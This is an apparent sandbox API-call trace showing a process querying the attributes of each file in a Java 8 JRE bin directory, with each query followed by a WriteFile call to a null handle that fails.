	[0244.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040)) returned 1
	[0244.674] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1
	[0244.674] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440)) returned 1
	[0244.680] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00)) returned 1
	[0244.680] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40)) returned 1
	[0244.681] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40)) returned 1
	[0244.683] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640)) returned 1
	[0244.683] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440)) returned 1
	[0244.684] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1
	[0244.684] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040)) returned 1
	[0244.685] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840)) returned 1
	[0244.685] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440)) returned 1
	[0244.686] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840)) returned 1
	[0244.690] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240)) returned 1
	[0244.690] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40)) returned 1
	[0244.690] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1
	[0244.699] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40)) returned 1
	[0244.700] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440)) returned 1
	[0244.700] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640)) returned 1
	[0244.704] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40)) returned 1
	[0244.705] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.705] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840)) returned 1
	[0244.706] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640)) returned 1
	[0244.707] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840)) returned 1
	[0244.707] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40)) returned 1
	[0244.713] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40)) returned 1
	[0244.713] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40)) returned 1
	[0244.714] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.715] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.716] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.716] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.717] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
